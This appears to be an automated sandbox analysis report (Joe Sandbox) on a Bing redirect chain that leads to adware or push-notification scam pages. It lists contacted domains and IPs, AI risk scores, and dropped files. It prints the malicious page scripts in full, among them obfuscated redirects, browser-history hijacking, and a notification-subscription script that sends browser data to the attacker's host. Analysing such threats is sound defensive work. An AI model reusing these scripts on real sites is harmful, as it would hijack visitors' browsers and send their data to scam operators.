Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1	0%	Avira URL Cloud	safe

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
breakpoint.goalkedf.cfd	188.114.96.3	true	false	unknown
google.com	142.250.185.174	true	false	high
csp.withgoogle.com	142.250.184.241	true	false	high
www3.l.google.com	142.250.186.142	true	false	high
plus.l.google.com	172.217.16.142	true	false	high
play.google.com	142.250.184.206	true	false	high
gounrical.com	141.95.100.236	true	true	unknown
www.google.com	172.217.18.100	true	false	high
www.alphasurance.com	66.96.162.137	true	false	high
authmycookie.com	104.21.36.194	true	false	high
fly.asssing.shop	67.212.173.75	true	true	unknown
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://gounrical.com/click.php?key=ls9yc3ivpkcbp3geh7vr&cid=M7458007059351470183&pad=27376&campaign=054d44&pid=27376-c0af779z	false	unknown
https://www.google.com/	false	high
https://fly.asssing.shop/?utm_term=7458007059351470183&tid=57696e3332#0	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.99	unknown	United States	15169	GOOGLEUS	false
142.250.185.78	unknown	United States	15169	GOOGLEUS	false
142.250.184.241	csp.withgoogle.com	United States	15169	GOOGLEUS	false
142.250.185.206	unknown	United States	15169	GOOGLEUS	false
142.250.74.206	unknown	United States	15169	GOOGLEUS	false
172.217.18.14	unknown	United States	15169	GOOGLEUS	false
67.212.173.75	fly.asssing.shop	United States	32475	SINGLEHOP-LLCUS	true
142.250.185.227	unknown	United States	15169	GOOGLEUS	false
142.250.185.163	unknown	United States	15169	GOOGLEUS	false
142.251.40.174	unknown	United States	15169	GOOGLEUS	false
142.250.184.227	unknown	United States	15169	GOOGLEUS	false
216.58.212.174	unknown	United States	15169	GOOGLEUS	false
142.250.184.206	play.google.com	United States	15169	GOOGLEUS	false
142.250.186.74	unknown	United States	15169	GOOGLEUS	false
141.95.100.236	gounrical.com	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true
172.217.16.142	plus.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.35	unknown	United States	15169	GOOGLEUS	false
142.250.184.195	unknown	United States	15169	GOOGLEUS	false
104.21.36.194	authmycookie.com	United States	13335	CLOUDFLARENETUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.185.234	unknown	United States	15169	GOOGLEUS	false
216.58.206.42	unknown	United States	15169	GOOGLEUS	false
66.96.162.137	www.alphasurance.com	United States	29873	BIZLAND-SDUS	false
64.233.167.84	unknown	United States	15169	GOOGLEUS	false
2.23.227.208	unknown	European Union	8781	QA-ISPQA	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	breakpoint.goalkedf.cfd	European Union	13335	CLOUDFLARENETUS	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
142.250.186.142	www3.l.google.com	United States	15169	GOOGLEUS	false
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.18

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586995
Start date and time:	2025-01-09 20:55:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.win@23/43@34/277

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 64.233.167.84, 142.250.185.78, 142.250.186.35
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, clientservices.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1

LLM Input / Output

Input	Output
URL: https://www.bing.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.bing.com
URL: https://www.alphasurance.com/... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits high-risk behavior by redirecting the user to a suspicious domain (authmycookie.com) with an obfuscated URL parameter. This is a strong indicator of potential malicious activity, such as credential harvesting or other types of attacks." }
window.location = "https://authmycookie.com/rt4.php?r3=CRA6RBIOEBoKTENdFwoWHU9GXQBcXVdeVkIDBQxYX19QXFEcU19SXVo6WEAbDwtQCQAcUwMICx8MAVcHD0U%3D&u=r2_40408b87-d092-48a7-8786-bc9345872096";
URL: https://fly.asssing.shop/?utm_term=745800705935147... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the aggressive manipulation of the browser history further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent." }
!function(o){try{for(var t=10;0<=t;--t)history.pushState({},"Loading","#"+t);onpopstate=function(t){t.state&&(location=o)},onhashchange=function(){location=o}}catch(t){}}("\/?utm_medium=9eb2bcdc89976429bc64127056a4a9d5d3a2b57a&utm_campaign=cid%253A11006&cid=11006-14815-202501092256198809&1=&2=&3=&4=&5=&puid=7458007059351470183&fl=1");document.addEventListener("click",function(t){t=t.target;"A"===t.tagName&&"_blank"===t.target&&setTimeout(function(){try{history.replaceState(null,null,"\/?utm_medium=9eb2bcdc89976429bc64127056a4a9d5d3a2b57a&utm_campaign=cid%253A11006&cid=11006-14815-202501092256198809&1=&2=&3=&4=&5=&puid=7458007059351470183&fl=1")}catch(t){}location="\/?utm_medium=9eb2bcdc89976429bc64127056a4a9d5d3a2b57a&utm_campaign=cid%253A11006&cid=11006-14815-202501092256198809&1=&2=&3=&4=&5=&puid=7458007059351470183&fl=2"},1e3)});
URL: https://fly.asssing.shop/?utm_term=745800705935147... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. It appears to be a malicious script designed to collect user data and redirect users to a potentially harmful website." }
var pm_appKey = "BHR8bZ93X3YNBNQcN_dGRYtnWqdsJXR2bXqq3vhfBL1TpfZqrGKXYxATKGNHa25HyaghKK8ZiaFXbIgJqY2624A"; var pm_denyAction = function () {location.replace("https:\/\/gounrical.com\/click.php?key=ls9yc3ivpkcbp3geh7vr&cid=M7458007059351470183&pad=27376&campaign=054d44&pid=27376-c0af779z");}; var pm_tag = 'default'; var pm_allowAction = function () {location.replace("https:\/\/gounrical.com\/click.php?key=ls9yc3ivpkcbp3geh7vr&cid=M7458007059351470183&pad=27376&campaign=054d44&pid=27376-c0af779z");};!function(a,d,e,i,r){t=(t=d.currentScript)&&t.src\|\|d.URL;var t,o=(t=/\/\/([^/?]+)/.exec(t))?t[1]:"";function s(){var t=a.pm_denyAction;t&&t()}function n(n){var t=new XMLHttpRequest;t.onreadystatechange=function(){var t,e;4==this.readyState&&(t=n.endpoint,e=a.pm_allowAction)&&e(t)},t.open("POST","https://"+o+"/subscription.php",!0),t.setRequestHeader("Content-type","application/json"),t.send(JSON.stringify({sub:n.toJSON(),language:navigator.language,token:a.pm_token,tag:r\|\|a.pm_tag,utm_term:i,pid:e\|\|a.pm_pid}))}function c(){var t=a.pm_sw\|\|"/sw.js";Promise.all([a.Notification.requestPermission(),navigator.serviceWorker.register(t+(t.match(/\?/)?"&":"?")+"v="+(new Date).valueOf())]).then(function(t){if("granted"!==t[0])throw Error("permission denied");var e=t[1].pushManager;return e.getSubscription().then(function(t){return t\|\|e.subscribe({userVisibleOnly:!0,applicationServerKey:new Uint8Array([4,116,124,109,159,119,95,118,13,4,212,28,55,247,70,69,139,103,90,167,108,37,116,118,109,122,170,222,248,95,4,189,83,165,246,106,172,98,151,99,16,19,40,99,71,107,110,71,201,168,33,40,175,25,137,161,87,108,136,9,169,141,186,219,128])})})}).then(n).catch(s)}d.onreadystatechange=function(){"complete"===d.readyState&&setTimeout(function(){if(a.pm_enablePrompt&&"granted"!==a.Notification.permission)t="We would like to show you notifications for the latest news and updates.",e="Allow",n="No Thanks",i="affDenPBtn",r="affAccPBtn",o="fauxDia",p="",a.pm_promptDenyBtnText&&(n=a.pm_promptDenyBtnText),a.pm_promptAcceptBtnText&&(e=a.pm_promptAcceptBtnText),a.pm_promptText&&(t=a.pm_promptText),a.pm_promptHideDeny\|\|(p='<div id="'+i+'" style="float:right;cursor:pointer;display:inline-block;padding: 10px 25px; margin-left:7px;color:#4285F4;">'+n+"</div>"),n='<div id="'+o+'" style="width:500px;max-width:100%;font-family:\'Arial\',Helvetica,sans-serif;font-size:14px;box-sizing:border-box;position:absolute;top:0;z-index:999999;left:50%;transform:translateX(-50%);padding:25px;background:white;color:#242424;border-bottom-left-radius:4px;border-bottom-right-radius:4px;box-shadow: 0px 0px 6px -3px rgba(0, 0, 0, 0.2), 0px 0px 14px 1px rgba(0, 0, 0, 0.14), 0px 0px 18px 3px rgba(0, 0, 0, 0.12) !important;"><p style="margin:0 0 30px 0;padding:0;">'+t+'</p><div id="'+r+'" style="background:#4285F4;border-radius:3px;color:white;float:right;cursor:pointer;display:inline-block;padding: 10px 25px; margin-left:7px;">'+e+"</div>"+p+'<div class="clear:both;"></div></div>',d.body.insertAdjacentHTML("beforeend",n),a.pm_promptHideDeny\|\|d.getElementById(i).addEventListener("click",function(){d.getElementById(o).remove(),s()}),d.getElementById(r).addEventListener("click",function(){d.getElementById(o).remove(),c()});else try{c()}catch(t){s()}var t,e,n,i,r,o,p},a.pm_delay\|\|1)}}(window,document,"27376-c0af779z","7458007059351470183","");
URL: https://authmycookie.com/rt4.php?r3=CRA6RBIOEBoKTE... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The script contains a high-risk indicator of redirecting the user to an untrusted, suspicious domain, which is a common tactic used in phishing and malware attacks. This behavior scores 3 points. Additionally, the URL appears to be obfuscated, which adds another 3 points. While the intent is not explicitly malicious, the combination of these factors suggests a medium-to-high risk level that warrants further investigation." }
window.location = "https://breakpoint.goalkedf.cfd/help/?32171731928960";
URL: https://fly.asssing.shop/?utm_medium=9eb2bcdc89976... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to a suspicious domain. The use of obfuscated code and the redirection to a domain that appears to be associated with malicious activity (fly.asssing.shop) further increase the risk. Overall, this script demonstrates a high level of malicious intent and should be treated with caution." }
!function(){var t=0;setInterval(function(){document.body.firstChild.style.opacity=.5+Math.abs(50-t++%100)/100},10)}();location="\x68\x74\x74\x70\x73\x3a\x2f\x2f\x66\x6c\x79\x2e\x61\x73\x73\x73\x69\x6e\x67\x2e\x73\x68\x6f\x70\x2f\x3f\x75\x74\x6d\x5f\x74\x65\x72\x6d\x3d\x37\x34\x35\x38\x30\x30\x37\x30\x35\x39\x33\x35\x31\x34\x37\x30\x31\x38\x33&tid="+function(t,o,r){for(;r<t.length;)o+=t.charCodeAt(r++).toString(16);return o}(navigator.platform,"",0);
URL: https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script exhibits several moderate-risk behaviors, including external data transmission, redirects to a suspicious domain, and aggressive DOM manipulation. While the script appears to have some legitimate functionality related to analytics and referrer tracking, the use of obfuscated URLs and the potential for redirecting users to an unrelated domain raises concerns and requires further review." }
//<![CDATA[ var s = false; function l() { setTimeout(f, 10000); if (document.referrer) { try { var pm = /(^\|&\|\?)px=([^&]*)(&\|$)/i; var px = window.location.href.match(pm); var rs = document.referrer; if (px != null) { if (rs.match(pm)) rs = rs.replace(pm, "$1px=" + px[2] + "$3"); else if (rs.indexOf("?") != -1) rs = rs + "&px=" + px[2]; else rs = rs + "?px=" + px[2]; } history.replaceState({}, "Bing", rs); window.addEventListener("pageshow", function(e) { if (e.persisted \|\| (typeof window.performance != "undefined" && window.performance.navigation.type === 2)) window.location.reload(); }); s = true; setTimeout(r, 10); return; } catch (e) {} } r(); } function r() { var u = "https://www.bing.com/alink/link?url=https%3a%2f%2fwww.alphasurance.com%2f&source=serp-local&h=A5gAIcTickWldG%2btQp%2fcGgCvwNh8RfcEppBgTLiM8KM%3d&p=lw_tp&ig=A9EE2293BC2F48209F1924AA9D81526F&ypid=YN873x17866710165154429074"; if (s) window.location.href = u; else window.location.replace(u); } function f() { document.getElementById("fb").style.display = "block"; } //
URL: https://fly.asssing.shop/?utm_term=745800705935147... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "The script uses a setTimeout function to redirect the user to an unknown domain (gounrical.com) after a 4-second delay, which is a high-risk indicator of potential malicious behavior. The URL contains obfuscated parameters, further increasing the suspicion of this script's intent." }
setTimeout(function () {location.replace("https:\/\/gounrical.com\/click.php?key=ls9yc3ivpkcbp3geh7vr&cid=M7458007059351470183&pad=27376&campaign=054d44&pid=27376-c0af779z")}, 4000);
URL: https://fly.asssing.shop/?utm_term=7458007059351470183&tid=57696e3332#0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Click \"Allow\" To Continue", "prominent_button_name": "Allow", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://fly.asssing.shop Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://fly.asssing.shop
URL: https://fly.asssing.shop/?utm_term=7458007059351470183&tid=57696e3332#0 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://gounrical.com/click.php?key=ls9yc3ivpkcbp3... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, redirects to potentially malicious domains, and the use of obfuscated URLs. The script sends user data to an unknown domain via AJAX requests and then redirects the user to a Chrome Web Store page, which could be a phishing attempt. While the script claims to be related to a Chrome extension, the overall behavior is highly suspicious and indicates a potential security risk." }
$(document).ready(function () { // Function to open the Chrome Web Store and send a notification function openInstall() { subId = "0"; zoneId = ""; guid = "48FAF65B00874A0E86DDCD458A75CA04"; $.ajax({ url: "/click.php?lp=1&uclick=1m8phq"+subId+"&zoneid="+zoneId+"&guid="+guid, xhrFields: { withCredentials: true }, crossDomain: true, success: function() { window.location.href = //{"https://chromewebstore.google.com/detail/owebster-search-20/ndlcgjaacmkkapeepnofmmiinlkcbjfb?a=lp.owebsearch.comp=3501ver=399}"; "/click.php?lp=1&uclick=1m8phq"; //"https://chromewebstore.google.com/detail/owebster-search-20/ndlcgjaacmkkapeepnofmmiinlkcbjfb?a=lp.owebsearch.comp=3501ver=399"; } }); } // Attach the openInstall function to the "Continue" button click event $("#continue").on("click", function () { openInstall(); }); });
URL: https://gounrical.com/landers/teleparty/streaming_... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided JavaScript snippet is a part of the jQuery library, which is a widely used and reputable open-source library for DOM manipulation and event handling. The code does not exhibit any high-risk or moderate-risk behaviors such as dynamic code execution, data exfiltration, or redirects to malicious domains. It primarily consists of utility functions and object manipulations typical of a library. There are no interactions with external domains or obfuscated code present. Therefore, it is considered low risk." }
/! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.6.4",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=y.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:v}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,y,s,c,v,S="s
URL: https://gounrical.com/click.php?key=ls9yc3ivpkcbp3geh7vr&cid=M7458007059351470183&pad=27376&campaign=054d44&pid=27376-c0af779z Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Telepary is a new way to watch Streaming with your friends online", "prominent_button_name": "Continue", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://gounrical.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://gounrical.com
URL: https://gounrical.com/click.php?key=ls9yc3ivpkcbp3geh7vr&cid=M7458007059351470183&pad=27376&campaign=054d44&pid=27376-c0af779z Model: Joe Sandbox AI	{ "brands": [ "Teleparity" ] }
	{ "brands": [ "Teleparity" ] }
URL: https://www.google.com/... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a simple assignment of the current timestamp to a global variable `_hst`. This behavior is common for analytics or logging purposes and does not demonstrate any high-risk indicators." }
window._hst=Date.now();
URL: https://www.google.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://www.google.com
URL: https://www.google.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.google.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://www.google.com/ Model: Joe Sandbox AI	{ "brands": [ "Google" ] }
	{ "brands": [ "Google" ] }
URL: https://www.google.com/ Model: Joe Sandbox AI	{ "brands": [ "Google" ] }
	{ "brands": [ "Google" ] }
URL: https://asssing.shop Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://asssing.shop

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 09:23:19 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.011101932955777
Encrypted:	false
SSDEEP:
MD5:	CD52184D537D19C1FD2F3AB04DABADC3
SHA1:	94C77F6C7E82ED5A284FB3DA6FE1D7CF7AF665F0
SHA-256:	A34D6A9FD2651D00E56B1915B84F567D5E579E12CEC86777CC7CCD3CFD13293C
SHA-512:	6CB480E153D9F1624895CBFC75253672C359003736F6A6C026977BF062F06491FB8D2B62932289720678DFBA8358C4FA37B28F8EE0451B497FCEAC9E528D508E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....?.4 ?.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I)Z......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V)Z......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V)Z......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V)Z.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.R.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7245)
Category:	downloaded
Size (bytes):	7250
Entropy (8bit):	6.102889096509928
Encrypted:	false
SSDEEP:
MD5:	7AE269503089F1170754B35A44E5B6DC
SHA1:	79616A4A5BCA40B7E2EA8C88C84CC9FE1F2988B2
SHA-256:	0FB33068F4DCF53CFB786D58C780471E1308EDA6A5270A538C0E0512E3EE0B86
SHA-512:	7316A5C1640148E5F70A539260018843FE44A94473B53C62EC273CFE1EB299EF6F8B6E38DA747F9D3801276D039CF525725C09014D0B3D5CAE5E96781CDCFD50
Malicious:	false
Reputation:	unknown
